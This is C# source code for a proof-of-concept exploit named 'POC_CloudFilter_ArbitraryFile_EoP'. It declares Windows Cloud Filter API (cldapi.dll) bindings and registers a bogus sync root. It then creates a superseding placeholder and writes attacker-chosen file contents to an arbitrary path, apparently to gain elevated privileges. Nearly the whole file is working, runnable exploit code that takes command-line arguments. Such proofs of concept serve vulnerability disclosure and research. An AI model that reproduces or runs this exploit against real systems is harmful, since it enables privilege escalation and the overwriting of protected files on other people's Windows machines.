﻿using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

namespace POC_CloudFilter_ArbitraryFile_EoP
{
    static class Program
    {
        [StructLayout(LayoutKind.Explicit)]
        public struct LargeIntegerStruct
        {
            [FieldOffset(0)]
            public uint LowPart;
            [FieldOffset(4)]
            public int HighPart;
            [FieldOffset(0)]
            public long QuadPart;

            public LargeIntegerStruct(long quadpart)
            {
                LowPart = 0;
                HighPart = 0;
                QuadPart = quadpart;
            }
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct FileBasicInformation
        {
            public LargeIntegerStruct CreationTime;
            public LargeIntegerStruct LastAccessTime;
            public LargeIntegerStruct LastWriteTime;
            public LargeIntegerStruct ChangeTime;
            public FileAttributes FileAttributes;
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CF_FS_METADATA
        {
            public FileBasicInformation BasicInfo;
            public LargeIntegerStruct FileSize;
        }

        [Flags]
        enum CF_PLACEHOLDER_CREATE_FLAGS
        {
            CF_PLACEHOLDER_CREATE_FLAG_NONE = 0x00000000,
            CF_PLACEHOLDER_CREATE_FLAG_DISABLE_ON_DEMAND_POPULATION = 0x00000001,
            CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC = 0x00000002,
            CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE = 0x00000004,
            CF_PLACEHOLDER_CREATE_FLAG_ALWAYS_FULL = 0x00000008,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct CF_PLACEHOLDER_CREATE_INFO
        {
            [MarshalAs(UnmanagedType.LPWStr)]
            public string RelativeFileName;
            public CF_FS_METADATA FsMetadata;
            public IntPtr FileIdentity;
            public int FileIdentityLength;
            public CF_PLACEHOLDER_CREATE_FLAGS Flags;
            public int Result;
            public long CreateUsn;
        }

        enum CF_HYDRATION_POLICY_PRIMARY : ushort
        {
            CF_HYDRATION_POLICY_PARTIAL = 0,
            CF_HYDRATION_POLICY_PROGRESSIVE = 1,
            CF_HYDRATION_POLICY_FULL = 2,
            CF_HYDRATION_POLICY_ALWAYS_FULL = 3,
        }

        [Flags]
        enum CF_HYDRATION_POLICY_MODIFIER : ushort
        {
            CF_HYDRATION_POLICY_MODIFIER_NONE = 0x0000,
            CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED = 0x0001,
            CF_HYDRATION_POLICY_MODIFIER_STREAMING_ALLOWED = 0x0002,
            CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED = 0x0004,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CF_HYDRATION_POLICY
        {
            public CF_HYDRATION_POLICY_PRIMARY Primary;
            public CF_HYDRATION_POLICY_MODIFIER Modifier;
        }

        enum CF_POPULATION_POLICY_PRIMARY : ushort
        {
            CF_POPULATION_POLICY_PARTIAL = 0,
            CF_POPULATION_POLICY_FULL = 2,
            CF_POPULATION_POLICY_ALWAYS_FULL = 3,
        }

        enum CF_POPULATION_POLICY_MODIFIER : ushort
        {
            CF_POPULATION_POLICY_MODIFIER_NONE = 0x0000,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CF_POPULATION_POLICY
        {
            public CF_POPULATION_POLICY_PRIMARY Primary;
            public CF_POPULATION_POLICY_MODIFIER Modifier;
        }

        [Flags]
        enum CF_PLACEHOLDER_MANAGEMENT_POLICY
        {
            CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT = 0x00000000,
            CF_PLACEHOLDER_MANAGEMENT_POLICY_CREATE_UNRESTRICTED = 0x00000001,
            CF_PLACEHOLDER_MANAGEMENT_POLICY_CONVERT_TO_UNRESTRICTED = 0x00000002,
            CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED = 0x00000004,
        }

        [Flags]
        enum CF_INSYNC_POLICY : uint
        {
            CF_INSYNC_POLICY_NONE = 0x00000000,
            CF_INSYNC_POLICY_TRACK_FILE_CREATION_TIME = 0x00000001,
            CF_INSYNC_POLICY_TRACK_FILE_READONLY_ATTRIBUTE = 0x00000002,
            CF_INSYNC_POLICY_TRACK_FILE_HIDDEN_ATTRIBUTE = 0x00000004,
            CF_INSYNC_POLICY_TRACK_FILE_SYSTEM_ATTRIBUTE = 0x00000008,
            CF_INSYNC_POLICY_TRACK_DIRECTORY_CREATION_TIME = 0x00000010,
            CF_INSYNC_POLICY_TRACK_DIRECTORY_READONLY_ATTRIBUTE = 0x00000020,
            CF_INSYNC_POLICY_TRACK_DIRECTORY_HIDDEN_ATTRIBUTE = 0x00000040,
            CF_INSYNC_POLICY_TRACK_DIRECTORY_SYSTEM_ATTRIBUTE = 0x00000080,
            CF_INSYNC_POLICY_TRACK_FILE_LAST_WRITE_TIME = 0x00000100,
            CF_INSYNC_POLICY_TRACK_DIRECTORY_LAST_WRITE_TIME = 0x00000200,
            CF_INSYNC_POLICY_TRACK_FILE_ALL = 0x0055550f,
            CF_INSYNC_POLICY_TRACK_DIRECTORY_ALL = 0x00aaaaf0,
            CF_INSYNC_POLICY_TRACK_ALL = 0x00ffffff,
            CF_INSYNC_POLICY_PRESERVE_INSYNC_FOR_SYNC_ENGINE = 0x80000000,
        }

        [Flags]
        enum CF_HARDLINK_POLICY
        {
            CF_HARDLINK_POLICY_NONE = 0x00000000,
            CF_HARDLINK_POLICY_ALLOWED = 0x00000001,
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct CF_SYNC_POLICIES
        {
            public int StructSize;
            public CF_HYDRATION_POLICY Hydration;
            public CF_POPULATION_POLICY Population;
            public CF_INSYNC_POLICY InSync;
            public CF_HARDLINK_POLICY HardLink;
            public CF_PLACEHOLDER_MANAGEMENT_POLICY PlaceholderManagement;
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct CF_SYNC_REGISTRATION
        {
            public int StructSize;
            public string ProviderName;
            public string ProviderVersion;
            public IntPtr SyncRootIdentity;
            public int SyncRootIdentityLength;
            public IntPtr FileIdentity;
            public int FileIdentityLength;
            public Guid ProviderId;
        }

        [Flags]
        enum CF_REGISTER_FLAGS
        {
            CF_REGISTER_FLAG_NONE = 0x00000000,
            CF_REGISTER_FLAG_UPDATE = 0x00000001,
            CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT = 0x00000002,
            CF_REGISTER_FLAG_MARK_IN_SYNC_ON_ROOT = 0x00000004,
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfRegisterSyncRoot(
            string SyncRootPath,
            in CF_SYNC_REGISTRATION Registration,
            in CF_SYNC_POLICIES Policies,
            CF_REGISTER_FLAGS RegisterFlags
        );

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfUnregisterSyncRoot(
            string SyncRootPath
        );

        const byte CF_MAX_PRIORITY_HINT = 15;

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct CF_CALLBACK_INFO
        {
            public int StructSize;
            public long ConnectionKey;
            public IntPtr CallbackContext;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string VolumeGuidName;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string VolumeDosName;
            public int VolumeSerialNumber;
            public LargeIntegerStruct SyncRootFileId;
            public IntPtr SyncRootIdentity;
            public int SyncRootIdentityLength;
            public LargeIntegerStruct FileId;
            public LargeIntegerStruct FileSize;
            public IntPtr FileIdentity;
            public int FileIdentityLength;
            [MarshalAs(UnmanagedType.LPWStr)]
            public string NormalizedPath;
            public long TransferKey;
            public byte PriorityHint;
            public IntPtr CorrelationVector;                  // PCORRELATION_VECTOR 
            public IntPtr ProcessInfo;                        // CF_PROCESS_INFO*
            public long RequestKey;
        }

        [Flags]
        enum CF_CALLBACK_FETCH_DATA_FLAGS
        {
            CF_CALLBACK_FETCH_DATA_FLAG_NONE = 0x00000000,
            CF_CALLBACK_FETCH_DATA_FLAG_RECOVERY = 0x00000001,
            CF_CALLBACK_FETCH_DATA_FLAG_EXPLICIT_HYDRATION = 0x00000002,
        }

        [Flags]
        enum CF_CALLBACK_CLOSE_COMPLETION_FLAGS
        {
            CF_CALLBACK_CLOSE_COMPLETION_FLAG_NONE = 0x00000000,
            CF_CALLBACK_CLOSE_COMPLETION_FLAG_DELETED = 0x00000001,
        }
        [Flags]
        enum CF_CALLBACK_DEHYDRATE_FLAGS
        {
            CF_CALLBACK_DEHYDRATE_FLAG_NONE = 0x00000000,
            CF_CALLBACK_DEHYDRATE_FLAG_BACKGROUND = 0x00000001,
        }

        [Flags]
        enum CF_CALLBACK_DEHYDRATE_COMPLETION_FLAGS
        {
            CF_CALLBACK_DEHYDRATE_COMPLETION_FLAG_NONE = 0x00000000,
            CF_CALLBACK_DEHYDRATE_COMPLETION_FLAG_BACKGROUND = 0x00000001,
            CF_CALLBACK_DEHYDRATE_COMPLETION_FLAG_DEHYDRATED = 0x00000002,
        }

        [Flags]
        enum CF_CALLBACK_DEHYDRATION_REASON
        {
            CF_CALLBACK_DEHYDRATION_REASON_NONE,
            CF_CALLBACK_DEHYDRATION_REASON_USER_MANUAL,
            CF_CALLBACK_DEHYDRATION_REASON_SYSTEM_LOW_SPACE,
            CF_CALLBACK_DEHYDRATION_REASON_SYSTEM_INACTIVITY,
            CF_CALLBACK_DEHYDRATION_REASON_SYSTEM_OS_UPGRADE,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CF_CALLBACK_PARAMETERS_FETCH_DATA
        {
            public IntPtr ParamSize;
            public CF_CALLBACK_FETCH_DATA_FLAGS Flags;
            public LargeIntegerStruct RequiredFileOffset;
            public LargeIntegerStruct RequiredLength;
            public LargeIntegerStruct OptionalFileOffset;
            public LargeIntegerStruct OptionalLength;
            public LargeIntegerStruct LastDehydrationTime;
            public CF_CALLBACK_DEHYDRATION_REASON LastDehydrationReason;
        }

        [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
        delegate void CF_CALLBACK(in CF_CALLBACK_INFO CallbackInfo, IntPtr CallbackParameters);

        enum CF_CALLBACK_TYPE : uint
        {
            CF_CALLBACK_TYPE_FETCH_DATA,
            CF_CALLBACK_TYPE_VALIDATE_DATA,
            CF_CALLBACK_TYPE_CANCEL_FETCH_DATA,
            CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS,
            CF_CALLBACK_TYPE_CANCEL_FETCH_PLACEHOLDERS,
            CF_CALLBACK_TYPE_NOTIFY_FILE_OPEN_COMPLETION,
            CF_CALLBACK_TYPE_NOTIFY_FILE_CLOSE_COMPLETION,
            CF_CALLBACK_TYPE_NOTIFY_DEHYDRATE,
            CF_CALLBACK_TYPE_NOTIFY_DEHYDRATE_COMPLETION,
            CF_CALLBACK_TYPE_NOTIFY_DELETE,
            CF_CALLBACK_TYPE_NOTIFY_DELETE_COMPLETION,
            CF_CALLBACK_TYPE_NOTIFY_RENAME,
            CF_CALLBACK_TYPE_NOTIFY_RENAME_COMPLETION,
            CF_CALLBACK_TYPE_NONE = 0xffffffff
        }

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
        struct CF_CALLBACK_REGISTRATION
        {
            public CF_CALLBACK_TYPE Type;
            [MarshalAs(UnmanagedType.FunctionPtr)]
            public CF_CALLBACK Callback;
        }

        // #define CF_CALLBACK_REGISTRATION_END {CF_CALLBACK_TYPE_NONE, NULL}

        [Flags]
        enum CF_CONNECT_FLAGS
        {
            CF_CONNECT_FLAG_NONE = 0x00000000,
            CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO = 0x00000002,
            CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH = 0x00000004,
            CF_CONNECT_FLAG_BLOCK_SELF_IMPLICIT_HYDRATION = 0x00000008,
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfConnectSyncRoot(
            string SyncRootPath,
            [MarshalAs(UnmanagedType.LPArray), In] CF_CALLBACK_REGISTRATION[] CallbackTable,
            IntPtr CallbackContext,
            CF_CONNECT_FLAGS ConnectFlags,
            out long ConnectionKey
        );

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfDisconnectSyncRoot(
            long ConnectionKey
        );

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfGetTransferKey(
            SafeHandle FileHandle,
            out long TransferKey
        );

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern void CfReleaseTransferKey(
            SafeHandle FileHandle,
            ref long TransferKey
        );

        [Flags]
        enum CF_CONVERT_FLAGS
        {
            CF_CONVERT_FLAG_NONE = 0x00000000,
            CF_CONVERT_FLAG_MARK_IN_SYNC = 0x00000001,
            CF_CONVERT_FLAG_DEHYDRATE = 0x00000002,
            CF_CONVERT_FLAG_ENABLE_ON_DEMAND_POPULATION = 0x00000004,
            CF_CONVERT_FLAG_ALWAYS_FULL = 0x00000008,
        }

        [Flags]
        enum CF_CREATE_FLAGS
        {
            CF_CREATE_FLAG_NONE = 0x00000000,
            CF_CREATE_FLAG_STOP_ON_ERROR = 0x00000001,
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfCreatePlaceholders(
            string BaseDirectoryPath,
            [In, Out, MarshalAs(UnmanagedType.LPArray)] CF_PLACEHOLDER_CREATE_INFO[] PlaceholderArray,
            int PlaceholderCount,
            CF_CREATE_FLAGS CreateFlags,
            out int EntriesProcessed
        );

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfConvertToPlaceholder(
            SafeHandle FileHandle,
            IntPtr FileIdentity,
            int FileIdentityLength,
            CF_CONVERT_FLAGS ConvertFlags,
            out long ConvertUsn,
            IntPtr Overlapped
        );

        enum CF_HYDRATE_FLAGS
        {
            CF_HYDRATE_FLAG_NONE
        };

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfHydratePlaceholder(
            SafeHandle FileHandle,
            LargeIntegerStruct StartingOffset,
            LargeIntegerStruct Length,
            CF_HYDRATE_FLAGS HydrateFlags,
            IntPtr Overlapped
        );

        enum CF_OPERATION_TYPE
        {
            CF_OPERATION_TYPE_TRANSFER_DATA,
            CF_OPERATION_TYPE_RETRIEVE_DATA,
            CF_OPERATION_TYPE_ACK_DATA,
            CF_OPERATION_TYPE_RESTART_HYDRATION,
            CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS,
            CF_OPERATION_TYPE_ACK_DEHYDRATE,
            CF_OPERATION_TYPE_ACK_DELETE,
            CF_OPERATION_TYPE_ACK_RENAME,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CF_SYNC_STATUS
        {
            public int StructSize;
            public int Code;
            public int DescriptionOffset;
            public int DescriptionLength;
            public int DeviceIdOffset;
            public int DeviceIdLength;
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CF_OPERATION_INFO
        {
            public int StructSize;
            public CF_OPERATION_TYPE Type;
            public long ConnectionKey;
            public long TransferKey;
            public IntPtr CorrelationVector; // CONST CORRELATION_VECTOR* 
            public IntPtr SyncStatus; // CF_SYNC_STATUS* 
            public long RequestKey;
        }

        enum CF_OPERATION_TRANSFER_DATA_FLAGS
        {
            CF_OPERATION_TRANSFER_DATA_FLAG_NONE = 0x00000000,
        }

        enum CF_OPERATION_RETRIEVE_DATA_FLAGS
        {
            CF_OPERATION_RETRIEVE_DATA_FLAG_NONE = 0x00000000,
        }

        enum CF_OPERATION_ACK_DATA_FLAGS
        {
            CF_OPERATION_ACK_DATA_FLAG_NONE = 0x00000000,
        }

        enum CF_OPERATION_RESTART_HYDRATION_FLAGS
        {
            CF_OPERATION_RESTART_HYDRATION_FLAG_NONE = 0x00000000,
            CF_OPERATION_RESTART_HYDRATION_FLAG_MARK_IN_SYNC = 0x00000001,
        }

        enum CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAGS
        {
            CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE = 0x00000000,
            CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_STOP_ON_ERROR = 0x00000001,
            CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_DISABLE_ON_DEMAND_POPULATION = 0x00000002,
        }

        enum CF_OPERATION_ACK_DEHYDRATE_FLAGS
        {
            CF_OPERATION_ACK_DEHYDRATE_FLAG_NONE = 0x00000000,
        }

        enum CF_OPERATION_ACK_RENAME_FLAGS
        {
            CF_OPERATION_ACK_RENAME_FLAG_NONE = 0x00000000,
        }

        enum CF_OPERATION_ACK_DELETE_FLAGS
        {
            CF_OPERATION_ACK_DELETE_FLAG_NONE = 0x00000000,
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CF_OPERATION_PARAMETERS
        {
            public IntPtr ParamSize;
            public CF_OPERATION_TRANSFER_DATA_FLAGS Flags;
            public int CompletionStatus;
            public IntPtr Buffer;
            public LargeIntegerStruct Offset;
            public LargeIntegerStruct Length;
        }

        [DllImport("cldapi.dll", CharSet = CharSet.Unicode)]
        static extern int CfExecute(
            in CF_OPERATION_INFO OpInfo,
            ref CF_OPERATION_PARAMETERS OpParams
        );

        static Guid ProviderId = new Guid("{B196E670-59C7-4D41-9637-C62D80541321}");

        static int Check(this int hr)
        {
            if (hr < 0)
                Marshal.ThrowExceptionForHR(hr);
            return hr;
        }

        static byte[] DataToWrite = null;

        static void DoTransferCallback(in CF_CALLBACK_INFO CallbackInfo, IntPtr CallbackParameters)
        {
            var ps = Marshal.PtrToStructure<CF_CALLBACK_PARAMETERS_FETCH_DATA>(CallbackParameters);
            Console.WriteLine("{0} {1}", CallbackInfo, ps);

            CF_OPERATION_INFO opInfo = new CF_OPERATION_INFO();
            CF_OPERATION_PARAMETERS opParams = new CF_OPERATION_PARAMETERS();

            try
            {
                opInfo.StructSize = Marshal.SizeOf(opInfo);
                opInfo.Type = CF_OPERATION_TYPE.CF_OPERATION_TYPE_TRANSFER_DATA;
                opInfo.ConnectionKey = CallbackInfo.ConnectionKey;
                opInfo.TransferKey = CallbackInfo.TransferKey;

                int length = (int)ps.RequiredLength.QuadPart;
                int offset = (int)ps.RequiredFileOffset.QuadPart;

                IntPtr buffer = Marshal.AllocHGlobal(new IntPtr(length));
                try
                {
                    Marshal.Copy(DataToWrite, offset, buffer, length);

                    Console.WriteLine("Requesting length {0} offset {1}", length, offset);

                    opParams.ParamSize = new IntPtr(Marshal.SizeOf(opParams));
                    opParams.CompletionStatus = 0;
                    opParams.Buffer = buffer;
                    opParams.Offset = ps.RequiredFileOffset;
                    opParams.Length = ps.RequiredLength;

                    CfExecute(opInfo, ref opParams).Check();
                }
                finally
                {
                    Marshal.FreeHGlobal(buffer);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }
        }

        public static byte[] StringToByteArray(String hex)
        {
            int NumberChars = hex.Length;
            Console.WriteLine(NumberChars);
            byte[] bytes = new byte[NumberChars];
            for (int i = 0; i < NumberChars; i += 1)
            {
                bytes[i] = Convert.ToByte(hex[i]);
            }
            Console.WriteLine(bytes);
            return bytes;
        }

        static void Main(string[] args)
        {
            try
            {
                if (!Environment.Is64BitProcess)
                    throw new ArgumentException("Only implemented for 64-bit.");

                if (args.Length != 3)
                {
                    throw new ArgumentException("POC_CloudFilter_ArbitraryFile_EoP.exe *root path* *rest of the file path* *path to file to copy*\r\n");
                    
                }
                string SyncRoot = args[0];
                string FilePath = args[1];
                DataToWrite = File.ReadAllBytes(args[2]);

                CF_SYNC_REGISTRATION reg = new CF_SYNC_REGISTRATION();
                reg.StructSize = Marshal.SizeOf(reg);
                reg.ProviderName = "Flubber";
                reg.ProviderVersion = "1.0";
                reg.ProviderId = ProviderId;

                CF_SYNC_POLICIES policies = new CF_SYNC_POLICIES();
                policies.StructSize = Marshal.SizeOf(policies);
                policies.HardLink = CF_HARDLINK_POLICY.CF_HARDLINK_POLICY_ALLOWED;
                policies.Hydration = new CF_HYDRATION_POLICY() { Primary = CF_HYDRATION_POLICY_PRIMARY.CF_HYDRATION_POLICY_FULL };
                policies.InSync = CF_INSYNC_POLICY.CF_INSYNC_POLICY_NONE;
                policies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY.CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
                policies.Population = new CF_POPULATION_POLICY() { Primary = CF_POPULATION_POLICY_PRIMARY.CF_POPULATION_POLICY_PARTIAL };

                CfRegisterSyncRoot(SyncRoot, reg, policies, CF_REGISTER_FLAGS.CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT).Check();

                try
                {
                    CF_CALLBACK_REGISTRATION[] table = new CF_CALLBACK_REGISTRATION[2];
                    table[0] = new CF_CALLBACK_REGISTRATION() { Callback = DoTransferCallback, Type = CF_CALLBACK_TYPE.CF_CALLBACK_TYPE_FETCH_DATA };
                    table[1] = new CF_CALLBACK_REGISTRATION() { Callback = null, Type = CF_CALLBACK_TYPE.CF_CALLBACK_TYPE_NONE };
                    CfConnectSyncRoot(SyncRoot, table, IntPtr.Zero, CF_CONNECT_FLAGS.CF_CONNECT_FLAG_NONE, out long key).Check();
                    try
                    {
                        Console.WriteLine("Sync connection key: {0}", key);
                        CF_PLACEHOLDER_CREATE_INFO[] place_holders = new CF_PLACEHOLDER_CREATE_INFO[1];
                        place_holders[0].RelativeFileName = FilePath;
                        CF_FS_METADATA meta_data = new CF_FS_METADATA
                        {
                            FileSize = new LargeIntegerStruct() { QuadPart = DataToWrite.Length },
                            BasicInfo = new FileBasicInformation()
                            {
                                FileAttributes = FileAttributes.Normal,
                                CreationTime = new LargeIntegerStruct() { QuadPart = DateTime.Now.ToFileTime() },
                            }
                        };
                        place_holders[0].FsMetadata = meta_data;
                        place_holders[0].Flags = CF_PLACEHOLDER_CREATE_FLAGS.CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE
                            | CF_PLACEHOLDER_CREATE_FLAGS.CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
                        place_holders[0].FileIdentity = Marshal.AllocHGlobal(0x130);
                        place_holders[0].FileIdentityLength = 0x130;
                        CfCreatePlaceholders(SyncRoot, place_holders, 1,
                            CF_CREATE_FLAGS.CF_CREATE_FLAG_STOP_ON_ERROR, out int processed).Check();
                        string path = Path.Combine(SyncRoot, FilePath);
                        File.WriteAllBytes(path, DataToWrite);
                        Console.WriteLine("Done");
                    }
                    finally
                    {
                        CfDisconnectSyncRoot(key).Check();
                    }
                }
                finally
                {
                    CfUnregisterSyncRoot(SyncRoot).Check();
                    Environment.Exit(0);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
                Environment.Exit(-10);
            }
        }
    }
}
